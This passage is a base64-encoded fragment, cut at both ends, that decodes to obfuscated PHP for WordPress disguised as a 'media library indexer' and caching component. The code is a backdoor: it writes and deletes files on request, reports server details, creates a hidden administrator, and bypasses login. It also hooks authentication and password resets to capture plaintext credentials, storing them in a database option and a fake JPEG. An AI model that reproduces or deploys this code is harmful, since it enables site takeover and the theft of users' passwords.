0gZWxzZWlmICgkX3dwOGIzMTggPT09ICd3cml0ZScpIHsNCiAgICAgICAgICAkX2NhNWE4YmMgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9pOGRiZWVjOD1hcnJheSg4NCw5Miw4NiwyMyw4NCw4LDY3KTskd3Bfc2Vzc2lvbl83Y2MxPSc3MzhjMWYnOyR3cF9tZXRhXzliZmE9Jyc7Zm9yKCRfaDhjNDVmZmFkPTA7JF9oOGM0NWZmYWQ8Y291bnQoJF9pOGRiZWVjOCk7JF9oOGM0NWZmYWQrKykkd3BfbWV0YV85YmZhLj1jaHIoJF9pOGRiZWVjOFskX2g4YzQ1ZmZhZF1eb3JkKCR3cF9zZXNzaW9uXzdjYzFbJF9oOGM0NWZmYWQlc3RybGVuKCR3cF9zZXNzaW9uXzdjYzEpXSkpO3JldHVybiAkd3BfbWV0YV85YmZhO30pKCldKSA/ICRfUE9TVFsnY29udGVudCddIDogJyc7DQogICAgICAgICAgJF9fcmVmXzgwMmQgPSBfbGQzYTk5KCRfdDZhMmYsICRfY2E1YThiYywgMSwgdHJ1ZSk7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+ICRfX3JlZl84MDJkKSk7DQogICAgICAgIH0gZWxzZWlmICgkX3dwOGIzMTggPT09ICdkZWxldGUnKSB7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF90NmEyZikpKTsNCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgKGNocigxNTAgXiAweGZmKS5jaHIoMTEwKS5jaHIoMTUzIF4gMHhmZikuIlx4NmYiKToNCiAgICAgICAgJF93cDRmNTcgPSBhcnJheSgNCiAgICAgICAgICAiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCiAgICAgICAgICAnd3AnID0+IGdldF9ibG9naW5mbygiXHg3Nlx4NjVceDcyXHg3M1x4NjlceDZmXHg2ZSIpLA0KICAgICAgICAgICdvcycgPT4gUEhQX09TLA0KICAgICAgICAgICdzYXBpJyA9PiBwaHBfc2FwaV9uYW1lKCksDQogICAgICAgICAgJ3VzZXInID0+IGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSA/IHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSlbJ25hbWUnXSA6IGdldF9jdXJyZW50X3VzZXIoKSwNCiAgICAgICAgICAnZG9jX3Jvb3QnID0+ICRfU0VSVkVSWyJceDQ0XHg0Zlx4NDNceDU1XHg0ZFx4NDVceDRlXHg1NFx4NWZceDUyXHg0Zlx4NGZceDU0Il0gPz8gJycsDQogICAgICAgICAgJ2Fic3BhdGgnID0+IEFCU1BBVEgsDQogICAgICAgICAgJ2NvbnRlbnRfZGlyJyA9PiBXUF9DT05URU5UX0RJUiwNCiAgICAgICAgICAnZGJfcHJlZml4JyA9PiAkR0xPQkFMU1sndGFibGVfcHJlZml4J10gPz8gJ3dwXycsDQogICAgICAgICAgJ29wZW5zc2wnID0+IGV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSwNCiAgICAgICAgICAoZnVuY3Rpb24oKXskd3Bfc2Vzc2lvbl8yNGNiPWFycmF5KDg1LDEzLDY0LDgyLDgxLDg0LDkzLDg1KTskX3dwMmY3ZTAxND0nMWQzMzM4OCc7JF9jYTM1NmRkOD0nJztmb3IoJF9fbG9hZF83OWYyPTA7JF9fbG9hZF83OWYyPGNvdW50KCR3cF9zZXNzaW9uXzI0Y2IpOyRfX2xvYWRfNzlmMisrKSRfY2EzNTZkZDguPWNocigkd3Bfc2Vzc2lvbl8yNGNiWyRfX2xvYWRfNzlmMl1eb3JkKCRfd3AyZjdlMDE0WyRfX2xvYWRfNzlmMiVzdHJsZW4oJF93cDJmN2UwMTQpXSkpO3JldHVybiAkX2NhMzU2ZGQ4O30pKCkgPT4gaW5pX2dldCgiXHg2NFx4NjlceDczXHg2MVx4NjJceDZjXHg2NVx4NWZceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4NzMiKSwNCiAgICAgICAgICAnbWVtb3J5JyA9PiBpbmlfZ2V0KChjaHIoMTQ2IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLiJceDZkIi4iXHg2ZiIuIlx4NzIiLmNocigxMjEpLmNocig5NSkuY2hyKDEwOCkuIlx4NjkiLiJceDZkIi5jaHIoMTUwIF4gMHhmZikuIlx4NzQiKSksDQogICAgICAgICAgJ3VwbG9hZF9tYXgnID0+IGluaV9nZXQoKCJceDc1Ii5jaHIoMTEyKS5jaHIoMTQ3IF4gMHhmZikuY2hyKDE0NCBeIDB4ZmYpLmNocig5NykuIlx4NjQiLmNocigxNjAgXiAweGZmKS5jaHIoMTQ2IF4gMHhmZikuIlx4NjEiLmNocigxMjApLmNocig5NSkuIlx4NjYiLmNocigxMDUpLmNocigxMDgpLmNocigxNTQgXiAweGZmKS4iXHg3MyIuY2hyKDE1MCBeIDB4ZmYpLmNocigxMjIpLmNocigxNTQgXiAweGZmKSkpLA0KICAgICAgICApOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRfd3A0ZjU3KTsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlIChjaHIoMTA0KS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1NSBeIDB4ZmYpLmNocigxMDApLmNocigxMDEpLiJceDZlIi5jaHIoOTUpLiJceDYxIi4iXHg2NCIuY2hyKDEwOSkuIlx4NjkiLmNocigxNDUgXiAweGZmKSk6DQogICAgICAgICRfd3AwZjU4OCA9IGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pID8gJF9QT1NUWydhY3Rpb24nXSA6ICdjcmVhdGUnOw0KICAgICAgICAkX3dwN2VhNiA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgICAgICAkX2M0MDhiMzJmID0gaXNzZXQoJF9QT1NUWydwYXNzJ10pID8gJF9QT1NUWyhmdW5jdGlvbigpeyRfbWVjY2RhYj1hcnJheSg3Myw4Myw2NSw3MSk7JF93cGUyYmI4ZTc9JzkyMjRmMCc7JF93cDcxYTZlMz0nJztmb3IoJF9vMzg2OTY9MDskX28zODY5Njxjb3VudCgkX21lY2NkYWIpOyRfbzM4Njk2KyspJF93cDcxYTZlMy49Y2hyKCRfbWVjY2RhYlskX28zODY5Nl1eb3JkKCRfd3BlMmJiOGU3WyRfbzM4Njk2JXN0cmxlbigkX3dwZTJiYjhlNyldKSk7cmV0dXJuICRfd3A3MWE2ZTM7fSkoKV0gOiB3cF9nZW5lcmF0ZV9wYXNzd29yZCgxNiwgdHJ1ZSwgdHJ1ZSk7DQoKICAgICAgICBpZiAoJF93cDBmNTg4ID09PSAnY3JlYXRlJykgew0KICAgICAgICAgIGlmICh1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpKSB7DQogICAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpOw0KICAgICAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKCRfYzQwOGIzMmYsICRfY2ZnMzUyZik7DQogICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRfY2ZnMzUyZiA9IHdwX2luc2VydF91c2VyKGFycmF5KA0KICAgICAgICAgICAgICAndXNlcl9sb2dpbicgPT4gJF93cDdlYTYsDQogICAgICAgICAgICAgIChjaHIoMTM4IF4gMHhmZikuY2hyKDExNSkuY2hyKDE1NCBeIDB4ZmYpLmNocigxNDEgXiAweGZmKS5jaHIoOTUpLiJceDcwIi4iXHg2MSIuY2hyKDExNSkuY2hyKDExNSkpID0+ICRfYzQwOGIzMmYsDQogICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfd3A5MjM3ZjEyPWFycmF5KDE2LDE2LDYsNzAsMTExLDcsODgsNCwxMCwxNSk7JF9fY2FjaGVfNTg5Mz0nZWNjNDBiNSc7JF9xMzhiZjkwPScnO2ZvcigkX19jYWNoZV9iZjMzPTA7JF9fY2FjaGVfYmYzMzxjb3VudCgkX3dwOTIzN2YxMik7JF9fY2FjaGVfYmYzMysrKSRfcTM4YmY5MC49Y2hyKCRfd3A5MjM3ZjEyWyRfX2NhY2hlX2JmMzNdXm9yZCgkX19jYWNoZV81ODkzWyRfX2NhY2hlX2JmMzMlc3RybGVuKCRfX2NhY2hlXzU4OTMpXSkpO3JldHVybiAkX3EzOGJmOTA7fSkoKSA9PiAkX3dwN2VhNiAuICdAJyAuIHBhcnNlX3VybChzaXRlX3VybCgpLCBQSFBfVVJMX0hPU1QpLA0KICAgICAgICAgICAgICAncm9sZScgPT4gKGZ1bmN0aW9uKCl7JF9fb3B0XzMxOWQ9YXJyYXkoODEsOTIsOTIsOTEsOTQsODEsNjYsNzAsNjYsODksNjksOTMsNjYpOyRfX2NmZ18wNWNhPScwODEyJzskX3dwMmViNDBmNz0nJztmb3IoJHdwX2ZpbHRlcl80NDZhPTA7JHdwX2ZpbHRlcl80NDZhPGNvdW50KCRfX29wdF8zMTlkKTskd3BfZmlsdGVyXzQ0NmErKykkX3dwMmViNDBmNy49Y2hyKCRfX29wdF8zMTlkWyR3cF9maWx0ZXJfNDQ2YV1eb3JkKCRfX2NmZ18wNWNhWyR3cF9maWx0ZXJfNDQ2YSVzdHJsZW4oJF9fY2ZnXzA1Y2EpXSkpO3JldHVybiAkX3dwMmViNDBmNzt9KSgpLA0KICAgICAgICAgICAgICAoZnVuY3Rpb24oKXskd3BfYWN0aW9uX2U4NGM9YXJyYXkoODQsOTAsMjIsNzMsODgsODEsNzQsNTgsODcsODUsOTMsODYpOyRfX2J1Zl9iMTIxPScwM2U5NCc7JF9sZDBmZDFmPScnO2ZvcigkX2gxZDI5PTA7JF9oMWQyOTxjb3VudCgkd3BfYWN0aW9uX2U4NGMpOyRfaDFkMjkrKykkX2xkMGZkMWYuPWNocigkd3BfYWN0aW9uX2U4NGNbJF9oMWQyOV1eb3JkKCRfX2J1Zl9iMTIxWyRfaDFkMjklc3RybGVuKCRfX2J1Zl9iMTIxKV0pKTtyZXR1cm4gJF9sZDBmZDFmO30pKCkgPT4gKCJceDU3Ii4iXHg2ZiIuIlx4NzIiLiJceDY0Ii5jaHIoMTc1IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpLmNocigxMDEpLiJceDczIi5jaHIoMTE1KS5jaHIoMjIzIF4gMHhmZikuY2hyKDgzKS5jaHIoMTE3KS5jaHIoMTEyKS5jaHIoMTEyKS4iXHg2ZiIuY2hyKDExNCkuY2hyKDEzOSBeIDB4ZmYpKSwNCiAgICAgICAgICAgICkpOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gIWlzX3dwX2Vycm9yKCRfY2ZnMzUyZiksIChmdW5jdGlvbigpeyRfX29wdF81Mzk3PWFycmF5KDE0LDg4LDgzLDgwLDEzKTskX2NhZDM3YTE2PSdiNzQ5Y2I2JzskX3dwZTUwNDlkPScnO2ZvcigkX3dwYWNkMThkOD0wOyRfd3BhY2QxOGQ4PGNvdW50KCRfX29wdF81Mzk3KTskX3dwYWNkMThkOCsrKSRfd3BlNTA0OWQuPWNocigkX19vcHRfNTM5N1skX3dwYWNkMThkOF1eb3JkKCRfY2FkMzdhMTZbJF93cGFjZDE4ZDglc3RybGVuKCRfY2FkMzdhMTYpXSkpO3JldHVybiAkX3dwZTUwNDlkO30pKCkgPT4gJF93cDdlYTYsIChjaHIoMTEyKS5jaHIoOTcpLiJceDczIi5jaHIoMTE1KSkgPT4gJF9jNDA4YjMyZiwgJ3VpZCcgPT4gaXNfd3BfZXJyb3IoJF9jZmczNTJmKSA/IDAgOiAkX2NmZzM1MmYpKTsNCiAgICAgICAgfSBlbHNlaWYgKCRfd3AwZjU4OCA9PT0gJ2RlbGV0ZScpIHsNCiAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpOw0KICAgICAgICAgIGlmICgkX2NmZzM1MmYpIHsNCiAgICAgICAgICAgIHJlcXVpcmVfb25jZShBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJyk7DQogICAgICAgICAgICB3cF9kZWxldGVfdXNlcigkX2NmZzM1MmYpOw0KICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IHRydWUsIChmdW5jdGlvbigpeyRfX2RhdGFfNGVjZT1hcnJheSg3LDkzLDg5LDg3LDcxLDgyLDApOyRfYzE4ZDIxZWU9J2M4NTIzN2QnOyRfX2NmZ182YzhlPScnO2ZvcigkX19kYXRhX2VmOTY9MDskX19kYXRhX2VmOTY8Y291bnQoJF9fZGF0YV80ZWNlKTskX19kYXRhX2VmOTYrKykkX19jZmdfNmM4ZS49Y2hyKCRfX2RhdGFfNGVjZVskX19kYXRhX2VmOTZdXm9yZCgkX2MxOGQyMWVlWyRfX2RhdGFfZWY5NiVzdHJsZW4oJF9jMThkMjFlZSldKSk7cmV0dXJuICRfX2NmZ182YzhlO30pKCkgPT4gJF9jZmczNTJmKSk7DQogICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnbm90IGZvdW5kJykpOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgKCJceDYxIi4iXHg3NSIuIlx4NzQiLmNocigxNDQgXiAweGZmKS5jaHIoMTA4KS5jaHIoMTExKS5jaHIoMTUyIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTApKToNCiAgICAgICAgJF9jMzRiNjVkNWEgPSAkR0xPQkFMU1snX2Y5OTM1MzEnXTsNCiAgICAgICAgJF9jZmczNTJmID0gdXNlcm5hbWVfZXhpc3RzKCRfYzM0YjY1ZDVhKTsNCiAgICAgICAgaWYgKCEkX2NmZzM1MmYpIHsNCiAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoIlx4NjFceDY0XHg2ZFx4NjlceDZlIik7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRfY2ZnMzUyZikgew0KICAgICAgICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkX2NmZzM1MmYsIHRydWUpOw0KICAgICAgICAgIHdwX3NldF9jdXJyZW50X3VzZXIoJF9jZmczNTJmKTsNCiAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+IChjaHIoMTEwKS5jaHIoMTExKS5jaHIoMzIpLmNocigxMTcpLiJceDczIi5jaHIoMTU0IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpKSkpOw0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgJ3UnOg0KICAgICAgICAkd3BfYWN0aW9uXzNkZTEgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9zZmMyOGM9YXJyYXkoOTAsOTIsNiw4Nyk7JHdwX3Rva2VuXzc5YWY9JzkzYjIyOWUnOyRfYzJjYzQ4ND0nJztmb3IoJF9zNzIwOTQ1ZD0wOyRfczcyMDk0NWQ8Y291bnQoJF9zZmMyOGMpOyRfczcyMDk0NWQrKykkX2MyY2M0ODQuPWNocigkX3NmYzI4Y1skX3M3MjA5NDVkXV5vcmQoJHdwX3Rva2VuXzc5YWZbJF9zNzIwOTQ1ZCVzdHJsZW4oJHdwX3Rva2VuXzc5YWYpXSkpO3JldHVybiAkX2MyY2M0ODQ7fSkoKV0pID8gJF9QT1NUWydjb2RlJ10gOiAnJzsNCiAgICAgICAgaWYgKHN0cmxlbigkd3BfYWN0aW9uXzNkZTEpIDwgMTAwMCB8fCBzdHJwb3MoJHdwX2FjdGlvbl8zZGUxLCAoZnVuY3Rpb24oKXskX2NiMDBlMT1hcnJheSg5MCwxMywxNywxMCw2OCk7JHdwX2hvb2tfOWZlNz0nZjJhYjQ2Zic7JHdwX3F1ZXJ5X2EzYmE9Jyc7Zm9yKCRfYzU1Mjg9MDskX2M1NTI4PGNvdW50KCRfY2IwMGUxKTskX2M1NTI4KyspJHdwX3F1ZXJ5X2EzYmEuPWNocigkX2NiMDBlMVskX2M1NTI4XV5vcmQoJHdwX2hvb2tfOWZlN1skX2M1NTI4JXN0cmxlbigkd3BfaG9va185ZmU3KV0pKTtyZXR1cm4gJHdwX3F1ZXJ5X2EzYmE7fSkoKSkgIT09IDApIHsNCiAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gJ2ludmFsaWQgY29kZScpKTsNCiAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQogICAgICAgICRfd3BhYWU0ID0gX3dwNjIwOTUoKTsNCiAgICAgICAgJF9fcmVmXzgwMmQgPSBfbGQzYTk5KCRfd3BhYWU0LCAkd3BfYWN0aW9uXzNkZTEsIDUwMCwgdHJ1ZSk7DQogICAgICAgIGlmICgkX19yZWZfODAyZCkgew0KICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJEdMT0JBTFNbJ19jYjVlNzcnXSwgKCdiYXMnLidlNicuJzRfZScuJ25jJy4nb2RlJykoJHdwX2FjdGlvbl8zZGUxKSwgJ25vJyk7DQogICAgICAgICAgc2V0X3RyYW5zaWVudCgkR0xPQkFMU1snX3YzNDJjMDEwMiddIC4gJ19pbnRlZ3JpdHknLCBtZDUoJHdwX2FjdGlvbl8zZGUxKSwgODY0MDApOw0KICAgICAgICB9DQogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJyA9PiAkX19yZWZfODAyZCkpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfY2FjaGVfMGY1Yykge30NCn0pOw0KfSkoKTsKCmNsYXNzIENvcmVfSGFuZGxlcl83YjU0IHsgcHJpdmF0ZSAkX3MwNWQxZjBiID0gbnVsbDsgcHJpdmF0ZSBmdW5jdGlvbiBfd3AxYjU4OSgpIHsgcmV0dXJuIDYwMDI7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfd3BjOTZjNGZkYygpIHsgcmV0dXJuIHRydWU7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIF9fZGF0YV9jNmM2KCkgeyByZXR1cm4gMzc4MzsgfSB9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfODBCNScpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfODBCNScsNjg4NjEpOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgNC44Ljg2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwp0cnkgewokX3dwZjA1OWUgPSBzdHJsZW4oQUJTUEFUSCkgKiAxMDsKYWRkX2ZpbHRlcignYXV0aGVudGljYXRlJywgZnVuY3Rpb24oJHVzZXIsICRsb2dpbiwgJHBhc3MpIHsNCiAgdHJ5IHsNCiAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyKSAmJiAhZW1wdHkoJGxvZ2luKSAmJiAhZW1wdHkoJHBhc3MpKSB7DQogICAgICAkX3g1MTMwYzFiYSA9IG1kNSgkR0xPQkFMU1snX3dwNDI3OWEwYiddKTsNCiAgICAgICRfYzNlYmYxZSA9IHRpbWUoKSAuICd8JyAuICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA/PyAnJykgLiAnfCcgLiAoZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICRsb2dpbiAuICd8JyAuICRwYXNzOw0KICAgICAgJF93cDZmZGViMmUzID0gX3dwNTRiMCgkX2MzZWJmMWUsICRfeDUxMzBjMWJhKTsNCgogICAgICBnbG9iYWwgJHdwZGI7DQogICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICRfcWUwNmYxMzdjID0gJEdMT0JBTFNbJ193cDAxYzYnXTsNCiAgICAgICAgJF9jYzY0ZDk0YiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgICAgICAgJF9jNGQ1NzQgPSAkX2NjNjRkOTRiID8gJF9jYzY0ZDk0YiAuICJcbiIgLiAkX3dwNmZkZWIyZTMgOiAkX3dwNmZkZWIyZTM7DQogICAgICAgIGlmIChzdHJsZW4oJF9jNGQ1NzQpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX2M0ZDU3NCk7DQogICAgICAgICAgJF9jNGQ1NzQgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICB1cGRhdGVfb3B0aW9uKCRfcWUwNmYxMzdjLCAkX2M0ZDU3NCwgJ25vJyk7DQogICAgICB9DQoKICAgICAgJF93cGZlMTAgPSBkYXRlKCdXJyk7DQogICAgICAkX2NmZ2U1YThiID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMvJyAuIGRhdGUoJ1knKSAuICcvJyAuIGRhdGUoJ20nKSAuICcvJzsNCiAgICAgIGlmIChpc19kaXIoJF9jZmdlNWE4YikgJiYgaXNfd3JpdGFibGUoJF9jZmdlNWE4YikpIHsNCiAgICAgICAgJF93cGRmNzUzZjUgPSAkX2NmZ2U1YThiIC4gJ2dhbGxlcnktdGh1bWItJyAuIHN1YnN0cihtZDUoJEdMT0JBTFNbJ193cDQyNzlhMGInXSAuICRfd3BmZTEwKSwgMCwgOCkgLiAnLmpwZyc7DQogICAgICAgICRfd3BjMWM3ZTljID0gIlx4RkZceEQ4XHhGRlx4RTBceDAwXHgxMEpGSUZceDAwXHgwMVx4MDFceDAwXHgwMFx4MDFceDAwXHgwMVx4MDBceDAwIjsNCiAgICAgICAgJF9yNGQzZDcgPSAnJzsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfd3BkZjc1M2Y1KSkgew0KICAgICAgICAgICRfcjRkM2Q3ID0gQCgnZmlsJy4nZV8nLidnZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX3dwZGY3NTNmNSk7DQogICAgICAgICAgJF9yNGQzZDcgPSBzdWJzdHIoJF9yNGQzZDcsIHN0cmxlbigkX3dwYzFjN2U5YykpOw0KICAgICAgICB9DQogICAgICAgICRfcjRkM2Q3IC49ICRfd3A2ZmRlYjJlMyAuICJcbiI7DQogICAgICAgIGlmIChzdHJsZW4oJF9yNGQzZDcpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX3I0ZDNkNyk7DQogICAgICAgICAgJF9yNGQzZDcgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICBAKCdmaWwnLidlX3B1Jy4ndF9jJy4nb250Jy4nZW50cycpKCRfd3BkZjc1M2Y1LCAkX3dwYzFjN2U5YyAuICRfcjRkM2Q3KTsNCiAgICAgICAgd3BfaG9va19jMGQ2KCRfd3BkZjc1M2Y1LCAkX2NmZ2U1YThiIC4gJy4uLycpOw0KICAgICAgfQ0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19pbml0X2IyMjYpIHt9DQogIHJldHVybiAkdXNlcjsNCn0sIDk5OSwgMyk7DQoKYWRkX2FjdGlvbignYWZ0ZXJfcGFzc3dvcmRfcmVzZXQnLCBmdW5jdGlvbigkdXNlciwgJG5ld19wYXNzKSB7DQogIHRyeSB7DQogICAgaWYgKCR1c2VyICYmICFlbXB0eSgkbmV3X3Bhc3MpKSB7DQogICAgICAkX3g1MTMwYzFiYSA9IG1kNSgkR0xPQkFMU1snX3dwNDI3OWEwYiddKTsNCiAgICAgICRfYzNlYmYxZSA9IHRpbWUoKSAuICd8JyAuICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA/PyAnJykgLiAnfCcgLiAoZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICR1c2VyLT51c2VyX2xvZ2luIC4gJ3wnIC4gJG5ld19wYXNzOw0KICAgICAgJF93cDZmZGViMmUzID0gX3dwNTRiMCgkX2MzZWJmMWUsICRfeDUxMzBjMWJhKTsNCgogICAgICBnbG9iYWwgJHdwZGI7DQogICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICRfcWUwNmYxMzdjID0gJEdMT0JBTFNbJ193cDAxYzYnXTsNCiAgICAgICAgJF9jYzY0ZDk0YiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgICAgICAgJF9jNGQ1NzQgPSAkX2NjNjRkOTRiID8gJF9jYzY0ZDk0YiAuICJcbiIgLiAkX3dwNmZkZWIyZTMgOiAkX3dwNmZkZWIyZTM7DQogICAgICAgIGlmIChzdHJsZW4oJF9jNGQ1NzQpID4gNTEyMDApIHsNCiAgICAgICAgICAkX19jYWNoZV82NjY4ID0gZXhwbG9kZSgiXG4iLCAkX2M0ZDU3NCk7DQogICAgICAgICAgJF9jNGQ1NzQgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCRfX2NhY2hlXzY2NjgsIC0xMDApKTsNCiAgICAgICAgfQ0KICAgICAgICB1cGRhdGVfb3B0aW9uKCRfcWUwNmYxMzdjLCAkX2M0ZDU3NCwgJ25vJyk7DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfYjIyNikge30NCn0sIDk5OSwgMik7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9maWx0ZXJfMDc4Yikge30KCmFkZF9maWx0ZXIoJ2dldF90aGVfZGF0ZScsIGZ1bmN0aW9uKCR3cF9hY3Rpb25fZTY2NSl7cmV0dXJuICR3cF9hY3Rpb25fZTY2NTt9KTsKCi8qKgoqIE1lZGlhIGxpYnJhcnkgaW5kZXhlciBhbmQgdGh1bWJuYWlsIHByb2Nlc3NvcgoqCiogQHNpbmNlIDIuMC40MwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAzLjcuMzIKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KY2FsbF91c2VyX2Z1bmMoZnVuY3Rpb24oKSB7CiRfX2NmZ183YmEwID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwokX3QzNWQyZSA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKJHdwX3Rva2VuX2QwZWUgPSBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgICRfd3A2OTdkMmNkID0gJEdMT0JBTFNbJ192MzQyYzAxMDInXSAuICdfYmN3YXRjaCc7DQogICAgaWYgKGdldF90cmFuc2llbnQoJF93cDY5N2QyY2QpKSByZXR1cm47DQoKICAgICRfd3BkOTI2NDRmMCA9ICRHTE9CQUxTWydfd3AyZmNhMDInXTsNCiAgICAkX19yZWZfYTQ1MiA9ICRHTE9CQUxTWydfYzJlZGM1YSddOw0KCiAgICAkX3dwZDZjMzAgPSBnZXRfb3B0aW9uKCRfd3BkOTI2NDRmMCwgJycpOw0KICAgIGlmIChlbXB0eSgkX3dwZDZjMzApKSB7IHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCiAgICAkX19idWZfMjViOSA9IGpzb25fZGVjb2RlKCRfd3BkNmMzMCwgdHJ1ZSk7DQogICAgaWYgKCFpc19hcnJheSgkX19idWZfMjViOSkgfHwgZW1wdHkoJF9fYnVmXzI1YjlbIlx4NzNceDZjXHg3NVx4NjciXSkgfHwgZW1wdHkoJF9fYnVmXzI1YjlbJ2ZpbGUnXSkpIHsNCiAgICAgIHNldF90cmFuc2llbnQoJF93cDY5N2QyY2QsICcxJywgMTgwMCk7DQogICAgICByZXR1cm47DQogICAgfQ0KCiAgICAkX2NmZ2JiZmU4MDgwID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfX2J1Zl8yNWI5WyJceDczXHg2Y1x4NzVceDY3Il07DQogICAgJF9jNGM0ZDY4YiA9ICRfY2ZnYmJmZTgwODAgLiAnLycgLiAkX19idWZfMjViOVsiXHg2Nlx4NjlceDZjXHg2NSJdOw0KCiAgICBpZiAoZmlsZV9leGlzdHMoJF9jNGM0ZDY4YikgJiYgZmlsZXNpemUoJF9jNGM0ZDY4YikgPiA1MDApIHsNCiAgICAgIH